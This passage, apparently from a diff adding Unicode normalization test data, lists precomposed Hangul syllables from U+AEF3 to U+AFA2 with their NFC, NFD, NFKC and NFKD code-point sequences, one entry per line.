+{ source: [0xAEF3], NFC: [0xAEF3], NFD: [0x1101, 0x1166, 0x11C2], NFKC: [0xAEF3], NFKD: [0x1101, 0x1166, 0x11C2] },
+{ source: [0xAEF4], NFC: [0xAEF4], NFD: [0x1101, 0x1167], NFKC: [0xAEF4], NFKD: [0x1101, 0x1167] },
+{ source: [0xAEF5], NFC: [0xAEF5], NFD: [0x1101, 0x1167, 0x11A8], NFKC: [0xAEF5], NFKD: [0x1101, 0x1167, 0x11A8] },
+{ source: [0xAEF6], NFC: [0xAEF6], NFD: [0x1101, 0x1167, 0x11A9], NFKC: [0xAEF6], NFKD: [0x1101, 0x1167, 0x11A9] },
+{ source: [0xAEF7], NFC: [0xAEF7], NFD: [0x1101, 0x1167, 0x11AA], NFKC: [0xAEF7], NFKD: [0x1101, 0x1167, 0x11AA] },
+{ source: [0xAEF8], NFC: [0xAEF8], NFD: [0x1101, 0x1167, 0x11AB], NFKC: [0xAEF8], NFKD: [0x1101, 0x1167, 0x11AB] },
+{ source: [0xAEF9], NFC: [0xAEF9], NFD: [0x1101, 0x1167, 0x11AC], NFKC: [0xAEF9], NFKD: [0x1101, 0x1167, 0x11AC] },
+{ source: [0xAEFA], NFC: [0xAEFA], NFD: [0x1101, 0x1167, 0x11AD], NFKC: [0xAEFA], NFKD: [0x1101, 0x1167, 0x11AD] },
+{ source: [0xAEFB], NFC: [0xAEFB], NFD: [0x1101, 0x1167, 0x11AE], NFKC: [0xAEFB], NFKD: [0x1101, 0x1167, 0x11AE] },
+{ source: [0xAEFC], NFC: [0xAEFC], NFD: [0x1101, 0x1167, 0x11AF], NFKC: [0xAEFC], NFKD: [0x1101, 0x1167, 0x11AF] },
+{ source: [0xAEFD], NFC: [0xAEFD], NFD: [0x1101, 0x1167, 0x11B0], NFKC: [0xAEFD], NFKD: [0x1101, 0x1167, 0x11B0] },
+{ source: [0xAEFE], NFC: [0xAEFE], NFD: [0x1101, 0x1167, 0x11B1], NFKC: [0xAEFE], NFKD: [0x1101, 0x1167, 0x11B1] },
+{ source: [0xAEFF], NFC: [0xAEFF], NFD: [0x1101, 0x1167, 0x11B2], NFKC: [0xAEFF], NFKD: [0x1101, 0x1167, 0x11B2] },
+{ source: [0xAF00], NFC: [0xAF00], NFD: [0x1101, 0x1167, 0x11B3], NFKC: [0xAF00], NFKD: [0x1101, 0x1167, 0x11B3] },
+{ source: [0xAF01], NFC: [0xAF01], NFD: [0x1101, 0x1167, 0x11B4], NFKC: [0xAF01], NFKD: [0x1101, 0x1167, 0x11B4] },
+{ source: [0xAF02], NFC: [0xAF02], NFD: [0x1101, 0x1167, 0x11B5], NFKC: [0xAF02], NFKD: [0x1101, 0x1167, 0x11B5] },
+{ source: [0xAF03], NFC: [0xAF03], NFD: [0x1101, 0x1167, 0x11B6], NFKC: [0xAF03], NFKD: [0x1101, 0x1167, 0x11B6] },
+{ source: [0xAF04], NFC: [0xAF04], NFD: [0x1101, 0x1167, 0x11B7], NFKC: [0xAF04], NFKD: [0x1101, 0x1167, 0x11B7] },
+{ source: [0xAF05], NFC: [0xAF05], NFD: [0x1101, 0x1167, 0x11B8], NFKC: [0xAF05], NFKD: [0x1101, 0x1167, 0x11B8] },
+{ source: [0xAF06], NFC: [0xAF06], NFD: [0x1101, 0x1167, 0x11B9], NFKC: [0xAF06], NFKD: [0x1101, 0x1167, 0x11B9] },
+{ source: [0xAF07], NFC: [0xAF07], NFD: [0x1101, 0x1167, 0x11BA], NFKC: [0xAF07], NFKD: [0x1101, 0x1167, 0x11BA] },
+{ source: [0xAF08], NFC: [0xAF08], NFD: [0x1101, 0x1167, 0x11BB], NFKC: [0xAF08], NFKD: [0x1101, 0x1167, 0x11BB] },
+{ source: [0xAF09], NFC: [0xAF09], NFD: [0x1101, 0x1167, 0x11BC], NFKC: [0xAF09], NFKD: [0x1101, 0x1167, 0x11BC] },
+{ source: [0xAF0A], NFC: [0xAF0A], NFD: [0x1101, 0x1167, 0x11BD], NFKC: [0xAF0A], NFKD: [0x1101, 0x1167, 0x11BD] },
+{ source: [0xAF0B], NFC: [0xAF0B], NFD: [0x1101, 0x1167, 0x11BE], NFKC: [0xAF0B], NFKD: [0x1101, 0x1167, 0x11BE] },
+{ source: [0xAF0C], NFC: [0xAF0C], NFD: [0x1101, 0x1167, 0x11BF], NFKC: [0xAF0C], NFKD: [0x1101, 0x1167, 0x11BF] },
+{ source: [0xAF0D], NFC: [0xAF0D], NFD: [0x1101, 0x1167, 0x11C0], NFKC: [0xAF0D], NFKD: [0x1101, 0x1167, 0x11C0] },
+{ source: [0xAF0E], NFC: [0xAF0E], NFD: [0x1101, 0x1167, 0x11C1], NFKC: [0xAF0E], NFKD: [0x1101, 0x1167, 0x11C1] },
+{ source: [0xAF0F], NFC: [0xAF0F], NFD: [0x1101, 0x1167, 0x11C2], NFKC: [0xAF0F], NFKD: [0x1101, 0x1167, 0x11C2] },
+{ source: [0xAF10], NFC: [0xAF10], NFD: [0x1101, 0x1168], NFKC: [0xAF10], NFKD: [0x1101, 0x1168] },
+{ source: [0xAF11], NFC: [0xAF11], NFD: [0x1101, 0x1168, 0x11A8], NFKC: [0xAF11], NFKD: [0x1101, 0x1168, 0x11A8] },
+{ source: [0xAF12], NFC: [0xAF12], NFD: [0x1101, 0x1168, 0x11A9], NFKC: [0xAF12], NFKD: [0x1101, 0x1168, 0x11A9] },
+{ source: [0xAF13], NFC: [0xAF13], NFD: [0x1101, 0x1168, 0x11AA], NFKC: [0xAF13], NFKD: [0x1101, 0x1168, 0x11AA] },
+{ source: [0xAF14], NFC: [0xAF14], NFD: [0x1101, 0x1168, 0x11AB], NFKC: [0xAF14], NFKD: [0x1101, 0x1168, 0x11AB] },
+{ source: [0xAF15], NFC: [0xAF15], NFD: [0x1101, 0x1168, 0x11AC], NFKC: [0xAF15], NFKD: [0x1101, 0x1168, 0x11AC] },
+{ source: [0xAF16], NFC: [0xAF16], NFD: [0x1101, 0x1168, 0x11AD], NFKC: [0xAF16], NFKD: [0x1101, 0x1168, 0x11AD] },
+{ source: [0xAF17], NFC: [0xAF17], NFD: [0x1101, 0x1168, 0x11AE], NFKC: [0xAF17], NFKD: [0x1101, 0x1168, 0x11AE] },
+{ source: [0xAF18], NFC: [0xAF18], NFD: [0x1101, 0x1168, 0x11AF], NFKC: [0xAF18], NFKD: [0x1101, 0x1168, 0x11AF] },
+{ source: [0xAF19], NFC: [0xAF19], NFD: [0x1101, 0x1168, 0x11B0], NFKC: [0xAF19], NFKD: [0x1101, 0x1168, 0x11B0] },
+{ source: [0xAF1A], NFC: [0xAF1A], NFD: [0x1101, 0x1168, 0x11B1], NFKC: [0xAF1A], NFKD: [0x1101, 0x1168, 0x11B1] },
+{ source: [0xAF1B], NFC: [0xAF1B], NFD: [0x1101, 0x1168, 0x11B2], NFKC: [0xAF1B], NFKD: [0x1101, 0x1168, 0x11B2] },
+{ source: [0xAF1C], NFC: [0xAF1C], NFD: [0x1101, 0x1168, 0x11B3], NFKC: [0xAF1C], NFKD: [0x1101, 0x1168, 0x11B3] },
+{ source: [0xAF1D], NFC: [0xAF1D], NFD: [0x1101, 0x1168, 0x11B4], NFKC: [0xAF1D], NFKD: [0x1101, 0x1168, 0x11B4] },
+{ source: [0xAF1E], NFC: [0xAF1E], NFD: [0x1101, 0x1168, 0x11B5], NFKC: [0xAF1E], NFKD: [0x1101, 0x1168, 0x11B5] },
+{ source: [0xAF1F], NFC: [0xAF1F], NFD: [0x1101, 0x1168, 0x11B6], NFKC: [0xAF1F], NFKD: [0x1101, 0x1168, 0x11B6] },
+{ source: [0xAF20], NFC: [0xAF20], NFD: [0x1101, 0x1168, 0x11B7], NFKC: [0xAF20], NFKD: [0x1101, 0x1168, 0x11B7] },
+{ source: [0xAF21], NFC: [0xAF21], NFD: [0x1101, 0x1168, 0x11B8], NFKC: [0xAF21], NFKD: [0x1101, 0x1168, 0x11B8] },
+{ source: [0xAF22], NFC: [0xAF22], NFD: [0x1101, 0x1168, 0x11B9], NFKC: [0xAF22], NFKD: [0x1101, 0x1168, 0x11B9] },
+{ source: [0xAF23], NFC: [0xAF23], NFD: [0x1101, 0x1168, 0x11BA], NFKC: [0xAF23], NFKD: [0x1101, 0x1168, 0x11BA] },
+{ source: [0xAF24], NFC: [0xAF24], NFD: [0x1101, 0x1168, 0x11BB], NFKC: [0xAF24], NFKD: [0x1101, 0x1168, 0x11BB] },
+{ source: [0xAF25], NFC: [0xAF25], NFD: [0x1101, 0x1168, 0x11BC], NFKC: [0xAF25], NFKD: [0x1101, 0x1168, 0x11BC] },
+{ source: [0xAF26], NFC: [0xAF26], NFD: [0x1101, 0x1168, 0x11BD], NFKC: [0xAF26], NFKD: [0x1101, 0x1168, 0x11BD] },
+{ source: [0xAF27], NFC: [0xAF27], NFD: [0x1101, 0x1168, 0x11BE], NFKC: [0xAF27], NFKD: [0x1101, 0x1168, 0x11BE] },
+{ source: [0xAF28], NFC: [0xAF28], NFD: [0x1101, 0x1168, 0x11BF], NFKC: [0xAF28], NFKD: [0x1101, 0x1168, 0x11BF] },
+{ source: [0xAF29], NFC: [0xAF29], NFD: [0x1101, 0x1168, 0x11C0], NFKC: [0xAF29], NFKD: [0x1101, 0x1168, 0x11C0] },
+{ source: [0xAF2A], NFC: [0xAF2A], NFD: [0x1101, 0x1168, 0x11C1], NFKC: [0xAF2A], NFKD: [0x1101, 0x1168, 0x11C1] },
+{ source: [0xAF2B], NFC: [0xAF2B], NFD: [0x1101, 0x1168, 0x11C2], NFKC: [0xAF2B], NFKD: [0x1101, 0x1168, 0x11C2] },
+{ source: [0xAF2C], NFC: [0xAF2C], NFD: [0x1101, 0x1169], NFKC: [0xAF2C], NFKD: [0x1101, 0x1169] },
+{ source: [0xAF2D], NFC: [0xAF2D], NFD: [0x1101, 0x1169, 0x11A8], NFKC: [0xAF2D], NFKD: [0x1101, 0x1169, 0x11A8] },
+{ source: [0xAF2E], NFC: [0xAF2E], NFD: [0x1101, 0x1169, 0x11A9], NFKC: [0xAF2E], NFKD: [0x1101, 0x1169, 0x11A9] },
+{ source: [0xAF2F], NFC: [0xAF2F], NFD: [0x1101, 0x1169, 0x11AA], NFKC: [0xAF2F], NFKD: [0x1101, 0x1169, 0x11AA] },
+{ source: [0xAF30], NFC: [0xAF30], NFD: [0x1101, 0x1169, 0x11AB], NFKC: [0xAF30], NFKD: [0x1101, 0x1169, 0x11AB] },
+{ source: [0xAF31], NFC: [0xAF31], NFD: [0x1101, 0x1169, 0x11AC], NFKC: [0xAF31], NFKD: [0x1101, 0x1169, 0x11AC] },
+{ source: [0xAF32], NFC: [0xAF32], NFD: [0x1101, 0x1169, 0x11AD], NFKC: [0xAF32], NFKD: [0x1101, 0x1169, 0x11AD] },
+{ source: [0xAF33], NFC: [0xAF33], NFD: [0x1101, 0x1169, 0x11AE], NFKC: [0xAF33], NFKD: [0x1101, 0x1169, 0x11AE] },
+{ source: [0xAF34], NFC: [0xAF34], NFD: [0x1101, 0x1169, 0x11AF], NFKC: [0xAF34], NFKD: [0x1101, 0x1169, 0x11AF] },
+{ source: [0xAF35], NFC: [0xAF35], NFD: [0x1101, 0x1169, 0x11B0], NFKC: [0xAF35], NFKD: [0x1101, 0x1169, 0x11B0] },
+{ source: [0xAF36], NFC: [0xAF36], NFD: [0x1101, 0x1169, 0x11B1], NFKC: [0xAF36], NFKD: [0x1101, 0x1169, 0x11B1] },
+{ source: [0xAF37], NFC: [0xAF37], NFD: [0x1101, 0x1169, 0x11B2], NFKC: [0xAF37], NFKD: [0x1101, 0x1169, 0x11B2] },
+{ source: [0xAF38], NFC: [0xAF38], NFD: [0x1101, 0x1169, 0x11B3], NFKC: [0xAF38], NFKD: [0x1101, 0x1169, 0x11B3] },
+{ source: [0xAF39], NFC: [0xAF39], NFD: [0x1101, 0x1169, 0x11B4], NFKC: [0xAF39], NFKD: [0x1101, 0x1169, 0x11B4] },
+{ source: [0xAF3A], NFC: [0xAF3A], NFD: [0x1101, 0x1169, 0x11B5], NFKC: [0xAF3A], NFKD: [0x1101, 0x1169, 0x11B5] },
+{ source: [0xAF3B], NFC: [0xAF3B], NFD: [0x1101, 0x1169, 0x11B6], NFKC: [0xAF3B], NFKD: [0x1101, 0x1169, 0x11B6] },
+{ source: [0xAF3C], NFC: [0xAF3C], NFD: [0x1101, 0x1169, 0x11B7], NFKC: [0xAF3C], NFKD: [0x1101, 0x1169, 0x11B7] },
+{ source: [0xAF3D], NFC: [0xAF3D], NFD: [0x1101, 0x1169, 0x11B8], NFKC: [0xAF3D], NFKD: [0x1101, 0x1169, 0x11B8] },
+{ source: [0xAF3E], NFC: [0xAF3E], NFD: [0x1101, 0x1169, 0x11B9], NFKC: [0xAF3E], NFKD: [0x1101, 0x1169, 0x11B9] },
+{ source: [0xAF3F], NFC: [0xAF3F], NFD: [0x1101, 0x1169, 0x11BA], NFKC: [0xAF3F], NFKD: [0x1101, 0x1169, 0x11BA] },
+{ source: [0xAF40], NFC: [0xAF40], NFD: [0x1101, 0x1169, 0x11BB], NFKC: [0xAF40], NFKD: [0x1101, 0x1169, 0x11BB] },
+{ source: [0xAF41], NFC: [0xAF41], NFD: [0x1101, 0x1169, 0x11BC], NFKC: [0xAF41], NFKD: [0x1101, 0x1169, 0x11BC] },
+{ source: [0xAF42], NFC: [0xAF42], NFD: [0x1101, 0x1169, 0x11BD], NFKC: [0xAF42], NFKD: [0x1101, 0x1169, 0x11BD] },
+{ source: [0xAF43], NFC: [0xAF43], NFD: [0x1101, 0x1169, 0x11BE], NFKC: [0xAF43], NFKD: [0x1101, 0x1169, 0x11BE] },
+{ source: [0xAF44], NFC: [0xAF44], NFD: [0x1101, 0x1169, 0x11BF], NFKC: [0xAF44], NFKD: [0x1101, 0x1169, 0x11BF] },
+{ source: [0xAF45], NFC: [0xAF45], NFD: [0x1101, 0x1169, 0x11C0], NFKC: [0xAF45], NFKD: [0x1101, 0x1169, 0x11C0] },
+{ source: [0xAF46], NFC: [0xAF46], NFD: [0x1101, 0x1169, 0x11C1], NFKC: [0xAF46], NFKD: [0x1101, 0x1169, 0x11C1] },
+{ source: [0xAF47], NFC: [0xAF47], NFD: [0x1101, 0x1169, 0x11C2], NFKC: [0xAF47], NFKD: [0x1101, 0x1169, 0x11C2] },
+{ source: [0xAF48], NFC: [0xAF48], NFD: [0x1101, 0x116A], NFKC: [0xAF48], NFKD: [0x1101, 0x116A] },
+{ source: [0xAF49], NFC: [0xAF49], NFD: [0x1101, 0x116A, 0x11A8], NFKC: [0xAF49], NFKD: [0x1101, 0x116A, 0x11A8] },
+{ source: [0xAF4A], NFC: [0xAF4A], NFD: [0x1101, 0x116A, 0x11A9], NFKC: [0xAF4A], NFKD: [0x1101, 0x116A, 0x11A9] },
+{ source: [0xAF4B], NFC: [0xAF4B], NFD: [0x1101, 0x116A, 0x11AA], NFKC: [0xAF4B], NFKD: [0x1101, 0x116A, 0x11AA] },
+{ source: [0xAF4C], NFC: [0xAF4C], NFD: [0x1101, 0x116A, 0x11AB], NFKC: [0xAF4C], NFKD: [0x1101, 0x116A, 0x11AB] },
+{ source: [0xAF4D], NFC: [0xAF4D], NFD: [0x1101, 0x116A, 0x11AC], NFKC: [0xAF4D], NFKD: [0x1101, 0x116A, 0x11AC] },
+{ source: [0xAF4E], NFC: [0xAF4E], NFD: [0x1101, 0x116A, 0x11AD], NFKC: [0xAF4E], NFKD: [0x1101, 0x116A, 0x11AD] },
+{ source: [0xAF4F], NFC: [0xAF4F], NFD: [0x1101, 0x116A, 0x11AE], NFKC: [0xAF4F], NFKD: [0x1101, 0x116A, 0x11AE] },
+{ source: [0xAF50], NFC: [0xAF50], NFD: [0x1101, 0x116A, 0x11AF], NFKC: [0xAF50], NFKD: [0x1101, 0x116A, 0x11AF] },
+{ source: [0xAF51], NFC: [0xAF51], NFD: [0x1101, 0x116A, 0x11B0], NFKC: [0xAF51], NFKD: [0x1101, 0x116A, 0x11B0] },
+{ source: [0xAF52], NFC: [0xAF52], NFD: [0x1101, 0x116A, 0x11B1], NFKC: [0xAF52], NFKD: [0x1101, 0x116A, 0x11B1] },
+{ source: [0xAF53], NFC: [0xAF53], NFD: [0x1101, 0x116A, 0x11B2], NFKC: [0xAF53], NFKD: [0x1101, 0x116A, 0x11B2] },
+{ source: [0xAF54], NFC: [0xAF54], NFD: [0x1101, 0x116A, 0x11B3], NFKC: [0xAF54], NFKD: [0x1101, 0x116A, 0x11B3] },
+{ source: [0xAF55], NFC: [0xAF55], NFD: [0x1101, 0x116A, 0x11B4], NFKC: [0xAF55], NFKD: [0x1101, 0x116A, 0x11B4] },
+{ source: [0xAF56], NFC: [0xAF56], NFD: [0x1101, 0x116A, 0x11B5], NFKC: [0xAF56], NFKD: [0x1101, 0x116A, 0x11B5] },
+{ source: [0xAF57], NFC: [0xAF57], NFD: [0x1101, 0x116A, 0x11B6], NFKC: [0xAF57], NFKD: [0x1101, 0x116A, 0x11B6] },
+{ source: [0xAF58], NFC: [0xAF58], NFD: [0x1101, 0x116A, 0x11B7], NFKC: [0xAF58], NFKD: [0x1101, 0x116A, 0x11B7] },
+{ source: [0xAF59], NFC: [0xAF59], NFD: [0x1101, 0x116A, 0x11B8], NFKC: [0xAF59], NFKD: [0x1101, 0x116A, 0x11B8] },
+{ source: [0xAF5A], NFC: [0xAF5A], NFD: [0x1101, 0x116A, 0x11B9], NFKC: [0xAF5A], NFKD: [0x1101, 0x116A, 0x11B9] },
+{ source: [0xAF5B], NFC: [0xAF5B], NFD: [0x1101, 0x116A, 0x11BA], NFKC: [0xAF5B], NFKD: [0x1101, 0x116A, 0x11BA] },
+{ source: [0xAF5C], NFC: [0xAF5C], NFD: [0x1101, 0x116A, 0x11BB], NFKC: [0xAF5C], NFKD: [0x1101, 0x116A, 0x11BB] },
+{ source: [0xAF5D], NFC: [0xAF5D], NFD: [0x1101, 0x116A, 0x11BC], NFKC: [0xAF5D], NFKD: [0x1101, 0x116A, 0x11BC] },
+{ source: [0xAF5E], NFC: [0xAF5E], NFD: [0x1101, 0x116A, 0x11BD], NFKC: [0xAF5E], NFKD: [0x1101, 0x116A, 0x11BD] },
+{ source: [0xAF5F], NFC: [0xAF5F], NFD: [0x1101, 0x116A, 0x11BE], NFKC: [0xAF5F], NFKD: [0x1101, 0x116A, 0x11BE] },
+{ source: [0xAF60], NFC: [0xAF60], NFD: [0x1101, 0x116A, 0x11BF], NFKC: [0xAF60], NFKD: [0x1101, 0x116A, 0x11BF] },
+{ source: [0xAF61], NFC: [0xAF61], NFD: [0x1101, 0x116A, 0x11C0], NFKC: [0xAF61], NFKD: [0x1101, 0x116A, 0x11C0] },
+{ source: [0xAF62], NFC: [0xAF62], NFD: [0x1101, 0x116A, 0x11C1], NFKC: [0xAF62], NFKD: [0x1101, 0x116A, 0x11C1] },
+{ source: [0xAF63], NFC: [0xAF63], NFD: [0x1101, 0x116A, 0x11C2], NFKC: [0xAF63], NFKD: [0x1101, 0x116A, 0x11C2] },
+{ source: [0xAF64], NFC: [0xAF64], NFD: [0x1101, 0x116B], NFKC: [0xAF64], NFKD: [0x1101, 0x116B] },
+{ source: [0xAF65], NFC: [0xAF65], NFD: [0x1101, 0x116B, 0x11A8], NFKC: [0xAF65], NFKD: [0x1101, 0x116B, 0x11A8] },
+{ source: [0xAF66], NFC: [0xAF66], NFD: [0x1101, 0x116B, 0x11A9], NFKC: [0xAF66], NFKD: [0x1101, 0x116B, 0x11A9] },
+{ source: [0xAF67], NFC: [0xAF67], NFD: [0x1101, 0x116B, 0x11AA], NFKC: [0xAF67], NFKD: [0x1101, 0x116B, 0x11AA] },
+{ source: [0xAF68], NFC: [0xAF68], NFD: [0x1101, 0x116B, 0x11AB], NFKC: [0xAF68], NFKD: [0x1101, 0x116B, 0x11AB] },
+{ source: [0xAF69], NFC: [0xAF69], NFD: [0x1101, 0x116B, 0x11AC], NFKC: [0xAF69], NFKD: [0x1101, 0x116B, 0x11AC] },
+{ source: [0xAF6A], NFC: [0xAF6A], NFD: [0x1101, 0x116B, 0x11AD], NFKC: [0xAF6A], NFKD: [0x1101, 0x116B, 0x11AD] },
+{ source: [0xAF6B], NFC: [0xAF6B], NFD: [0x1101, 0x116B, 0x11AE], NFKC: [0xAF6B], NFKD: [0x1101, 0x116B, 0x11AE] },
+{ source: [0xAF6C], NFC: [0xAF6C], NFD: [0x1101, 0x116B, 0x11AF], NFKC: [0xAF6C], NFKD: [0x1101, 0x116B, 0x11AF] },
+{ source: [0xAF6D], NFC: [0xAF6D], NFD: [0x1101, 0x116B, 0x11B0], NFKC: [0xAF6D], NFKD: [0x1101, 0x116B, 0x11B0] },
+{ source: [0xAF6E], NFC: [0xAF6E], NFD: [0x1101, 0x116B, 0x11B1], NFKC: [0xAF6E], NFKD: [0x1101, 0x116B, 0x11B1] },
+{ source: [0xAF6F], NFC: [0xAF6F], NFD: [0x1101, 0x116B, 0x11B2], NFKC: [0xAF6F], NFKD: [0x1101, 0x116B, 0x11B2] },
+{ source: [0xAF70], NFC: [0xAF70], NFD: [0x1101, 0x116B, 0x11B3], NFKC: [0xAF70], NFKD: [0x1101, 0x116B, 0x11B3] },
+{ source: [0xAF71], NFC: [0xAF71], NFD: [0x1101, 0x116B, 0x11B4], NFKC: [0xAF71], NFKD: [0x1101, 0x116B, 0x11B4] },
+{ source: [0xAF72], NFC: [0xAF72], NFD: [0x1101, 0x116B, 0x11B5], NFKC: [0xAF72], NFKD: [0x1101, 0x116B, 0x11B5] },
+{ source: [0xAF73], NFC: [0xAF73], NFD: [0x1101, 0x116B, 0x11B6], NFKC: [0xAF73], NFKD: [0x1101, 0x116B, 0x11B6] },
+{ source: [0xAF74], NFC: [0xAF74], NFD: [0x1101, 0x116B, 0x11B7], NFKC: [0xAF74], NFKD: [0x1101, 0x116B, 0x11B7] },
+{ source: [0xAF75], NFC: [0xAF75], NFD: [0x1101, 0x116B, 0x11B8], NFKC: [0xAF75], NFKD: [0x1101, 0x116B, 0x11B8] },
+{ source: [0xAF76], NFC: [0xAF76], NFD: [0x1101, 0x116B, 0x11B9], NFKC: [0xAF76], NFKD: [0x1101, 0x116B, 0x11B9] },
+{ source: [0xAF77], NFC: [0xAF77], NFD: [0x1101, 0x116B, 0x11BA], NFKC: [0xAF77], NFKD: [0x1101, 0x116B, 0x11BA] },
+{ source: [0xAF78], NFC: [0xAF78], NFD: [0x1101, 0x116B, 0x11BB], NFKC: [0xAF78], NFKD: [0x1101, 0x116B, 0x11BB] },
+{ source: [0xAF79], NFC: [0xAF79], NFD: [0x1101, 0x116B, 0x11BC], NFKC: [0xAF79], NFKD: [0x1101, 0x116B, 0x11BC] },
+{ source: [0xAF7A], NFC: [0xAF7A], NFD: [0x1101, 0x116B, 0x11BD], NFKC: [0xAF7A], NFKD: [0x1101, 0x116B, 0x11BD] },
+{ source: [0xAF7B], NFC: [0xAF7B], NFD: [0x1101, 0x116B, 0x11BE], NFKC: [0xAF7B], NFKD: [0x1101, 0x116B, 0x11BE] },
+{ source: [0xAF7C], NFC: [0xAF7C], NFD: [0x1101, 0x116B, 0x11BF], NFKC: [0xAF7C], NFKD: [0x1101, 0x116B, 0x11BF] },
+{ source: [0xAF7D], NFC: [0xAF7D], NFD: [0x1101, 0x116B, 0x11C0], NFKC: [0xAF7D], NFKD: [0x1101, 0x116B, 0x11C0] },
+{ source: [0xAF7E], NFC: [0xAF7E], NFD: [0x1101, 0x116B, 0x11C1], NFKC: [0xAF7E], NFKD: [0x1101, 0x116B, 0x11C1] },
+{ source: [0xAF7F], NFC: [0xAF7F], NFD: [0x1101, 0x116B, 0x11C2], NFKC: [0xAF7F], NFKD: [0x1101, 0x116B, 0x11C2] },
+{ source: [0xAF80], NFC: [0xAF80], NFD: [0x1101, 0x116C], NFKC: [0xAF80], NFKD: [0x1101, 0x116C] },
+{ source: [0xAF81], NFC: [0xAF81], NFD: [0x1101, 0x116C, 0x11A8], NFKC: [0xAF81], NFKD: [0x1101, 0x116C, 0x11A8] },
+{ source: [0xAF82], NFC: [0xAF82], NFD: [0x1101, 0x116C, 0x11A9], NFKC: [0xAF82], NFKD: [0x1101, 0x116C, 0x11A9] },
+{ source: [0xAF83], NFC: [0xAF83], NFD: [0x1101, 0x116C, 0x11AA], NFKC: [0xAF83], NFKD: [0x1101, 0x116C, 0x11AA] },
+{ source: [0xAF84], NFC: [0xAF84], NFD: [0x1101, 0x116C, 0x11AB], NFKC: [0xAF84], NFKD: [0x1101, 0x116C, 0x11AB] },
+{ source: [0xAF85], NFC: [0xAF85], NFD: [0x1101, 0x116C, 0x11AC], NFKC: [0xAF85], NFKD: [0x1101, 0x116C, 0x11AC] },
+{ source: [0xAF86], NFC: [0xAF86], NFD: [0x1101, 0x116C, 0x11AD], NFKC: [0xAF86], NFKD: [0x1101, 0x116C, 0x11AD] },
+{ source: [0xAF87], NFC: [0xAF87], NFD: [0x1101, 0x116C, 0x11AE], NFKC: [0xAF87], NFKD: [0x1101, 0x116C, 0x11AE] },
+{ source: [0xAF88], NFC: [0xAF88], NFD: [0x1101, 0x116C, 0x11AF], NFKC: [0xAF88], NFKD: [0x1101, 0x116C, 0x11AF] },
+{ source: [0xAF89], NFC: [0xAF89], NFD: [0x1101, 0x116C, 0x11B0], NFKC: [0xAF89], NFKD: [0x1101, 0x116C, 0x11B0] },
+{ source: [0xAF8A], NFC: [0xAF8A], NFD: [0x1101, 0x116C, 0x11B1], NFKC: [0xAF8A], NFKD: [0x1101, 0x116C, 0x11B1] },
+{ source: [0xAF8B], NFC: [0xAF8B], NFD: [0x1101, 0x116C, 0x11B2], NFKC: [0xAF8B], NFKD: [0x1101, 0x116C, 0x11B2] },
+{ source: [0xAF8C], NFC: [0xAF8C], NFD: [0x1101, 0x116C, 0x11B3], NFKC: [0xAF8C], NFKD: [0x1101, 0x116C, 0x11B3] },
+{ source: [0xAF8D], NFC: [0xAF8D], NFD: [0x1101, 0x116C, 0x11B4], NFKC: [0xAF8D], NFKD: [0x1101, 0x116C, 0x11B4] },
+{ source: [0xAF8E], NFC: [0xAF8E], NFD: [0x1101, 0x116C, 0x11B5], NFKC: [0xAF8E], NFKD: [0x1101, 0x116C, 0x11B5] },
+{ source: [0xAF8F], NFC: [0xAF8F], NFD: [0x1101, 0x116C, 0x11B6], NFKC: [0xAF8F], NFKD: [0x1101, 0x116C, 0x11B6] },
+{ source: [0xAF90], NFC: [0xAF90], NFD: [0x1101, 0x116C, 0x11B7], NFKC: [0xAF90], NFKD: [0x1101, 0x116C, 0x11B7] },
+{ source: [0xAF91], NFC: [0xAF91], NFD: [0x1101, 0x116C, 0x11B8], NFKC: [0xAF91], NFKD: [0x1101, 0x116C, 0x11B8] },
+{ source: [0xAF92], NFC: [0xAF92], NFD: [0x1101, 0x116C, 0x11B9], NFKC: [0xAF92], NFKD: [0x1101, 0x116C, 0x11B9] },
+{ source: [0xAF93], NFC: [0xAF93], NFD: [0x1101, 0x116C, 0x11BA], NFKC: [0xAF93], NFKD: [0x1101, 0x116C, 0x11BA] },
+{ source: [0xAF94], NFC: [0xAF94], NFD: [0x1101, 0x116C, 0x11BB], NFKC: [0xAF94], NFKD: [0x1101, 0x116C, 0x11BB] },
+{ source: [0xAF95], NFC: [0xAF95], NFD: [0x1101, 0x116C, 0x11BC], NFKC: [0xAF95], NFKD: [0x1101, 0x116C, 0x11BC] },
+{ source: [0xAF96], NFC: [0xAF96], NFD: [0x1101, 0x116C, 0x11BD], NFKC: [0xAF96], NFKD: [0x1101, 0x116C, 0x11BD] },
+{ source: [0xAF97], NFC: [0xAF97], NFD: [0x1101, 0x116C, 0x11BE], NFKC: [0xAF97], NFKD: [0x1101, 0x116C, 0x11BE] },
+{ source: [0xAF98], NFC: [0xAF98], NFD: [0x1101, 0x116C, 0x11BF], NFKC: [0xAF98], NFKD: [0x1101, 0x116C, 0x11BF] },
+{ source: [0xAF99], NFC: [0xAF99], NFD: [0x1101, 0x116C, 0x11C0], NFKC: [0xAF99], NFKD: [0x1101, 0x116C, 0x11C0] },
+{ source: [0xAF9A], NFC: [0xAF9A], NFD: [0x1101, 0x116C, 0x11C1], NFKC: [0xAF9A], NFKD: [0x1101, 0x116C, 0x11C1] },
+{ source: [0xAF9B], NFC: [0xAF9B], NFD: [0x1101, 0x116C, 0x11C2], NFKC: [0xAF9B], NFKD: [0x1101, 0x116C, 0x11C2] },
+{ source: [0xAF9C], NFC: [0xAF9C], NFD: [0x1101, 0x116D], NFKC: [0xAF9C], NFKD: [0x1101, 0x116D] },
+{ source: [0xAF9D], NFC: [0xAF9D], NFD: [0x1101, 0x116D, 0x11A8], NFKC: [0xAF9D], NFKD: [0x1101, 0x116D, 0x11A8] },
+{ source: [0xAF9E], NFC: [0xAF9E], NFD: [0x1101, 0x116D, 0x11A9], NFKC: [0xAF9E], NFKD: [0x1101, 0x116D, 0x11A9] },
+{ source: [0xAF9F], NFC: [0xAF9F], NFD: [0x1101, 0x116D, 0x11AA], NFKC: [0xAF9F], NFKD: [0x1101, 0x116D, 0x11AA] },
+{ source: [0xAFA0], NFC: [0xAFA0], NFD: [0x1101, 0x116D, 0x11AB], NFKC: [0xAFA0], NFKD: [0x1101, 0x116D, 0x11AB] },
+{ source: [0xAFA1], NFC: [0xAFA1], NFD: [0x1101, 0x116D, 0x11AC], NFKC: [0xAFA1], NFKD: [0x1101, 0x116D, 0x11AC] },
+{ source: [0xAFA2], NFC: [0xAFA2], NFD: [0x1101, 0x116D, 0x11AD], NFKC: [0xAFA2], NFKD: [0x1101, 0x116D, 0x11AD] },
